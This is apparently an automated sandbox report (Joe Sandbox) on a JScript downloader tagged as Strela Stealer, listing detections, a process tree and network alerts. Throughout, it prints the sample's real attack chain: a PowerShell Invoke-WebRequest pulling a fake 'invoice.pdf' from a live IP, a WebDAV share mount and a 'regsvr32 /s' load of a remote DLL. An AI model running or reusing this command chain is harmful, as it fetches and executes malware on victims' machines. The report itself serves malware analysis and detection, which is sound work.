Edit tour

Windows Analysis Report
16267239851350230287.js

Overview

General Information

Sample name:	16267239851350230287.js
Analysis ID:	1588770
MD5:	453b6ba4b42beb912f1ef30058968d1a
SHA1:	7ccbca123d54d1e1f47ace513a75dd3372c4c558
SHA256:	7199a2be0771eef0e279c3e5df709f2bac4d93dbdc09d0425ff9fb641f6054d7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3744 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6672 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1916 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3508 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1360,i,14895940516282795769,6057980195024621090,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6528 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5712 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2676 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3744	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1916, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1916, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ProcessId: 3744, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5712, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ProcessId: 3744, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1916, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6528, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5712, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2676, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6528, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5712, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16267239851350230287.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll, ProcessId: 6672, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:18:37.330904+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:18:39.634151+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:18:37.330904+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 16267239851350230287.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16267239851350230287.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16267239851350230287.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:18:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 